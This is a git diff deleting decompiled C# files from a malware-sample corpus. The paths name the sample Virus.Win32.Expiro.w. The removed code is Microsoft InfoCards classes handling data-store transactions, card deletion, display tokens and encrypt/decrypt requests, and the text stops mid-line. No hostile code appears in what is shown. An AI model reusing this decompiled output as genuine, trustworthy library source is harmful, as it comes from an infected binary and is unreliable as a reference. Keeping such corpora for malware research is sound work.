a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataRowIndexBuffer.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataRowIndexBuffer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class DataRowIndexBuffer - { - private Dictionary> m_objects; - - public DataRowIndexBuffer() => this.m_objects = new Dictionary>(); - - public string[] GetIndexNames() => new List((IEnumerable) this.m_objects.Keys).ToArray(); - - public List this[string name] - { - get - { - if (!this.m_objects.ContainsKey(name)) - this.m_objects.Add(name, new List()); - return this.m_objects[name]; - } - } - - public void Clear() => this.m_objects.Clear(); - - public void ClearIndexValues(string name) => this.m_objects.Remove(name); - - public void AddIndexValue(string name, IndexObject obj) => this[name].Add(obj); - - public void AddIndexValues(string name, IndexObject[] objs) => this[name].AddRange((IEnumerable) objs); - - public void SetIndexValues(string name, IndexObject[] indexObjects) - { - this[name].Clear(); - this[name].AddRange((IEnumerable) indexObjects); - } - - public int GetValueCount(string name) => !this.m_objects.ContainsKey(name) ? 0 : this.m_objects[name].Count; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataSource.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataSource.cs deleted file mode 100644 index a09dcb9c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataSource.cs +++ /dev/null @@ -1,328 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataSource -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class DataSource : IDisposable - { - private string m_instanceId; - private bool m_isLoaded; - private ReaderWriterLock m_lock; - private bool m_isDisposed; - private string m_sourceId; - private bool m_isCleared; - - protected DataSource(string instanceId, string sourceId) - { - this.m_instanceId = instanceId; - this.m_sourceId = sourceId; - this.m_lock = new ReaderWriterLock(); - } - - public string SourceId - { - get - { - this.ThrowIfDisposed(); - return this.m_sourceId; - } - } - - public bool IsDisposed => this.m_isDisposed; - - public bool IsLoaded - { - get - { - this.ThrowIfDisposed(); - return this.m_isLoaded; - } - } - - public bool IsCleared - { - get => this.m_isCleared; - set => this.m_isCleared = value; - } - - protected internal string InstanceId - { - get - { - this.ThrowIfDisposed(); - return this.m_instanceId; - } - set - { - this.ThrowIfDisposed(); - this.m_instanceId = value; - } - } - - public bool IsProcessingTransaction() - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_lock.IsWriterLockHeld; - } - - public void BeginTransaction() - { - this.ThrowIfWriteLockHeld(); - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.m_lock.AcquireWriterLock(0); - this.OnBeginTransaction(); - } - - public void CommitTransaction() - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - this.OnCommitTransaction(); - this.m_lock.ReleaseWriterLock(); - } - - public void RollbackTransaction() - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - this.OnRollbackTransaction(); - this.m_lock.ReleaseWriterLock(); - } - - public void Load() - { - this.ThrowIfDisposed(); - this.OnLoad(); - this.m_isLoaded = true; - } - - public void Clear() - { - this.ThrowIfLoaded(); - this.ThrowIfDisposed(); - this.OnClear(); - this.m_isLoaded = false; - this.m_isCleared = true; - } - - public void Close() - { - if (!this.m_isLoaded) - return; - this.OnClose(); - this.m_isLoaded = false; - } - - public DataRow GetSingleRow(params QueryParameter[] objectQuery) => this.GetSingleRow(QueryDetails.FullRow, objectQuery); - - public DataRow GetSingleRow(QueryDetails details, params QueryParameter[] objectQuery) - { - IList dataRowList = this.Query(details, objectQuery); - if (dataRowList == null || dataRowList.Count == 0) - return (DataRow) null; - return dataRowList.Count <= 1 ? dataRowList[0] : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreMoreThanOneRowReturnedInSingleMatchQuery"))); - } - - public IList Query(params QueryParameter[] objectQuery) => this.Query(QueryDetails.FullRow, objectQuery); - - public IList Query( - QueryDetails details, - params QueryParameter[] objectQuery) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - if (objectQuery == null || objectQuery.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull("query"); - if (!this.IsValidQueryDetails(details)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException(nameof (details))); - if (details == QueryDetails.None) - return (IList) null; - LocalIdCollection localIdCollection1 = (LocalIdCollection) null; - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireReaderLock(0); - flag = true; - } - foreach (QueryParameter match in objectQuery) - { - LocalIdCollection localIdCollection2 = new LocalIdCollection(); - if ("localid" == match.IndexName.ToLower(CultureInfo.InvariantCulture)) - { - for (int index1 = 0; index1 < match.Count; ++index1) - { - for (int index2 = 0; index2 < match[index1].ObjectList.Length; ++index2) - { - int int32 = Convert.ToInt32(match[index1].ObjectList[index2], (IFormatProvider) NumberFormatInfo.InvariantInfo); - localIdCollection2.Add(int32); - } - } - } - else if (!this.SingleMatch(match, localIdCollection2)) - { - if (localIdCollection1 != null) - { - localIdCollection1.Clear(); - break; - } - break; - } - if (localIdCollection1 == null) - localIdCollection1 = localIdCollection2; - else - localIdCollection1.Filter(localIdCollection2); - } - } - finally - { - if (flag) - this.m_lock.ReleaseReaderLock(); - } - if (localIdCollection1 == null || localIdCollection1.Count == 0) - return (IList) null; - List dataRowList = new List(localIdCollection1.Count); - foreach (int key in (IEnumerable) localIdCollection1.Keys) - { - if (QueryDetails.Identifiers == details) - dataRowList.Add(new DataRow() - { - LocalId = key, - SourceId = this.SourceId, - InstanceId = this.InstanceId - }); - else - dataRowList.Add(this.ReadRow(key, details)); - } - return (IList) dataRowList; - } - - public void Save(DataRow row) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if ((!string.IsNullOrEmpty(row.InstanceId) || !string.IsNullOrEmpty(row.SourceId)) && (string.Compare(row.InstanceId, this.InstanceId, StringComparison.Ordinal) != 0 || string.Compare(row.SourceId, this.SourceId, StringComparison.Ordinal) != 0)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreRowOwnedByOtherDataSource"))); - row.LastChange = DateTime.Now.ToFileTimeUtc(); - this.WriteRow(row); - row.InstanceId = this.InstanceId; - row.SourceId = this.SourceId; - } - - public void Delete(DataRow row) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if (row.InstanceId == null || row.SourceId == null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreDataSourceRowNotOwned"))); - if (string.Compare(row.InstanceId, this.InstanceId, StringComparison.Ordinal) != 0 || string.Compare(row.SourceId, this.SourceId, StringComparison.Ordinal) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreRowOwnedByOtherDataSource"))); - this.RemoveObject(row.LocalId); - } - - protected internal virtual bool IsValidQueryDetails(QueryDetails details) - { - if (QueryDetails.IndexData == (details & QueryDetails.IndexData)) - return QueryDetails.FullRowAndIndexes == (details & QueryDetails.FullRowAndIndexes); - if (QueryDetails.DataBlob == (details & QueryDetails.DataBlob)) - return QueryDetails.FullRow == (details & QueryDetails.FullRow); - if (QueryDetails.Header == (details & QueryDetails.Header)) - return QueryDetails.FullHeader == (details & QueryDetails.FullHeader); - return QueryDetails.Identifiers == (details & QueryDetails.Identifiers) ? QueryDetails.Identifiers == (details & QueryDetails.Identifiers) : QueryDetails.None == details; - } - - protected internal virtual void OnBeginTransaction() => this.ThrowIfDisposed(); - - protected internal virtual void OnCommitTransaction() => this.ThrowIfDisposed(); - - protected internal virtual void OnRollbackTransaction() => this.ThrowIfDisposed(); - - protected internal virtual void OnLoad() => this.ThrowIfDisposed(); - - protected internal virtual void OnClose() => this.ThrowIfDisposed(); - - protected internal virtual void OnClear() => this.ThrowIfDisposed(); - - protected internal virtual void OnDispose() - { - } - - protected internal abstract void WriteRow(DataRow row); - - protected internal abstract void RemoveObject(int id); - - protected internal abstract DataRow ReadRow(int localId, QueryDetails details); - - protected internal abstract bool SingleMatch(QueryParameter match, LocalIdCollection localIds); - - void IDisposable.Dispose() - { - this.OnDispose(); - this.m_isDisposed = true; - } - - protected internal void ThrowIfWriteLockNotHeld() - { - if (!this.m_lock.IsWriterLockHeld) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreDataSourceWriteLockNotHeld"))); - } - - protected internal void ThrowIfWriteLockHeld() - { - if (this.m_lock.IsWriterLockHeld) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreProcessingTransaction"))); - } - - protected internal void ThrowIfNotLoaded() - { - if (!this.m_isLoaded) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (DataSource))); - } - - protected internal void ThrowIfLoaded() - { - if (this.m_isLoaded) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIsAlreadyLoaded"))); - } - - protected internal void ThrowIfDisposed() - { - if (this.m_isDisposed) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (DataSource))); - } - - public static QueryParameter CreateDeleteStoreTypeQuery() - { - QueryParameter deleteStoreTypeQuery = new QueryParameter("ix_objecttype"); - foreach (int num in Enum.GetValues(typeof (StorableObjectType))) - { - if (num != 0) - deleteStoreTypeQuery.AddMatch((object) num); - } - return deleteStoreTypeQuery; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DecryptRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DecryptRequest.cs deleted file mode 100644 index 8c9f6e5d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DecryptRequest.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DecryptRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class DecryptRequest : ClientRequest - { - private int m_cryptoSession; - private bool m_useOAEP; - private byte[] m_encrypted; - private byte[] m_decrypted; - - public DecryptRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_cryptoSession = 0; - this.m_useOAEP = false; - this.m_encrypted = (byte[]) null; - this.m_decrypted = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - this.m_useOAEP = binaryReader.ReadBoolean(); - int count = binaryReader.ReadInt32(); - this.m_encrypted = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_encrypted == null || 0 == this.m_encrypted.Length, "encrypted"); - } - - protected override void OnProcess() => this.m_decrypted = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).Decrypt(this.m_useOAEP, this.m_encrypted); - - protected override void OnMarshalOutArgs() - { - try - { - Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_decrypted); - } - finally - { - Array.Clear((Array) this.m_decrypted, 0, this.m_decrypted.Length); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DeleteCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DeleteCardRequest.cs deleted file mode 100644 index 5c48e4f7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DeleteCardRequest.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DeleteCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class DeleteCardRequest : UIAgentRequest - { - private Uri m_cardId; - - public DeleteCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_cardId = Utility.DeserializeUri((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - DataRow singleRow = connection.GetSingleRow(QueryDetails.FullRow, new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_cardId.ToString()) - })); - if (singleRow != null) - { - byte[] dataField = singleRow.GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - { - string name = new InfoCard((Stream) memoryStream).Name; - } - } - finally - { - connection.Delete(singleRow); - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - ICollection collection = (ICollection) connection.Query(QueryDetails.Identifiers, new List() - { - new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_cardId.ToString()) - }) - }.ToArray()); - if (collection != null && collection.Count > 0) - { - foreach (DataRow row in (IEnumerable) collection) - connection.Delete(row); - } - connection.CommitTransaction(); - AuditLog.AuditCardDeletion(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DeleteStoreRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DeleteStoreRequest.cs deleted file mode 100644 index 40675166..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DeleteStoreRequest.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DeleteStoreRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class DeleteStoreRequest : UIAgentRequest - { - public DeleteStoreRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parentRequest) - : base(rpcHandle, inArgs, outArgs, parentRequest) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - QueryParameter deleteStoreTypeQuery = DataSource.CreateDeleteStoreTypeQuery(); - ICollection collection = (ICollection) connection.Query(QueryDetails.Identifiers, connection.LocalDataSource, deleteStoreTypeQuery); - if (collection != null && collection.Count > 0) - { - foreach (DataRow row in (IEnumerable) collection) - connection.Delete(row); - } - connection.CommitTransaction(); - AuditLog.AuditStoreDeletion(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DisplayClaim.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DisplayClaim.cs deleted file mode 100644 index 335941b9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DisplayClaim.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DisplayClaim -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Collections.Generic; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class DisplayClaim - { - private string m_name; - private List m_value; - private string m_description; - private string m_uri; - - public string Name - { - get => this.m_name; - set => this.m_name = value; - } - - public string Id => this.m_uri; - - public DisplayClaim(BinaryReader reader) => this.Deserialize(reader); - - public DisplayClaim(string name, List value, string description, string uri) - { - this.m_name = name; - this.m_value = value; - this.m_description = description; - this.m_uri = uri; - } - - public void Serialize(BinaryWriter writer) - { - Utility.SerializeString(writer, this.m_name); - writer.Write((uint) this.m_value.Count); - foreach (string str in this.m_value) - Utility.SerializeString(writer, str); - Utility.SerializeString(writer, this.m_description); - Utility.SerializeString(writer, this.m_uri); - } - - public void Deserialize(BinaryReader reader) - { - this.m_name = Utility.DeserializeString(reader); - uint num = reader.ReadUInt32(); - for (uint index = 0; index < num; ++index) - this.m_value.Add(Utility.DeserializeString(reader)); - this.m_description = Utility.DeserializeString(reader); - this.m_uri = Utility.DeserializeString(reader); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DisplayClaimType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DisplayClaimType.cs deleted file mode 100644 index 9158ac10..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DisplayClaimType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DisplayClaimType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal enum DisplayClaimType : byte - { - NoDisplayToken, - DisplayClaimString, - DisplayClaimList, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DisplayToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DisplayToken.cs deleted file mode 100644 index 30e2971b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DisplayToken.cs +++ /dev/null @@ -1,85 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DisplayToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class DisplayToken - { - private string m_displayString; - private string m_mimeType; - private List m_displayList; - private DisplayClaimType m_displayType; - - public IEnumerable ClaimList => (IEnumerable) this.m_displayList; - - public DisplayToken() => this.m_displayType = DisplayClaimType.NoDisplayToken; - - public DisplayToken(string displayString, string mimeType) - { - this.m_displayString = displayString; - this.m_mimeType = mimeType; - this.m_displayType = DisplayClaimType.DisplayClaimString; - } - - public DisplayToken(List claimList) - { - this.m_displayList = claimList; - this.m_displayType = DisplayClaimType.DisplayClaimList; - } - - public void Serialize(BinaryWriter writer) - { - writer.Write((byte) this.m_displayType); - switch (this.m_displayType) - { - case DisplayClaimType.NoDisplayToken: - break; - case DisplayClaimType.DisplayClaimString: - Utility.SerializeString(writer, this.m_displayString); - Utility.SerializeString(writer, this.m_mimeType); - break; - case DisplayClaimType.DisplayClaimList: - writer.Write((uint) this.m_displayList.Count); - using (List.Enumerator enumerator = this.m_displayList.GetEnumerator()) - { - while (enumerator.MoveNext()) - enumerator.Current.Serialize(writer); - break; - } - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "ClaimType"); - break; - } - } - - public void Deserialize(BinaryReader reader) - { - this.m_displayType = (DisplayClaimType) reader.ReadByte(); - switch (this.m_displayType) - { - case DisplayClaimType.NoDisplayToken: - break; - case DisplayClaimType.DisplayClaimString: - this.m_displayString = Utility.DeserializeString(reader); - this.m_mimeType = Utility.DeserializeString(reader); - break; - case DisplayClaimType.DisplayClaimList: - this.m_displayList.Clear(); - uint num = reader.ReadUInt32(); - for (uint index = 0; index < num; ++index) - this.m_displayList.Add(new DisplayClaim(reader)); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("InvalidDisplayClaimType"))); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptRequest.cs deleted file mode 100644 index 6df9c3f2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptRequest.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class EncryptRequest : ClientRequest - { - private int m_cryptoSession; - private bool m_useOAEP; - private byte[] m_cleartext; - private byte[] m_encrypted; - - public EncryptRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_cryptoSession = 0; - this.m_useOAEP = false; - this.m_cleartext = (byte[]) null; - this.m_encrypted = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - this.m_useOAEP = binaryReader.ReadBoolean(); - int count = binaryReader.ReadInt32(); - this.m_cleartext = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_cleartext == null || 0 == this.m_cleartext.Length, "clearText"); - } - - protected override void OnProcess() - { - try - { - this.m_encrypted = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).Encrypt(this.m_useOAEP, this.m_cleartext); - } - finally - { - Array.Clear((Array) this.m_cleartext, 0, this.m_cleartext.Length); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_encrypted); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptedData.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptedData.cs deleted file mode 100644 index 75c00568..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptedData.cs +++ /dev/null @@ -1,130 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptedData -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class EncryptedData - { - private string m_type; - private EncryptedData.EncryptionMethodElement m_encryptionMethod; - private EncryptedData.CipherData m_cipherData; - private SecurityKeyIdentifier m_keyIdentifier; - private SecurityTokenSerializer m_tokenSerializer; - - public EncryptedData() - { - this.m_cipherData = new EncryptedData.CipherData(); - this.m_encryptionMethod = new EncryptedData.EncryptionMethodElement(); - } - - public string EncryptionMethod - { - set => this.m_encryptionMethod.algorithm = value; - } - - public SecurityKeyIdentifier KeyIdentifier - { - set => this.m_keyIdentifier = value; - } - - public string Type - { - set => this.m_type = value; - } - - public SecurityTokenSerializer TokenSerializer - { - set => this.m_tokenSerializer = value; - } - - public void SetUpEncryption( - SymmetricAlgorithm algorithm, - byte[] buffer, - int offset, - int length) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == algorithm, nameof (algorithm)); - byte[] iv; - byte[] cipherText; - this.GenerateIVAndEncrypt(algorithm, buffer, offset, length, out iv, out 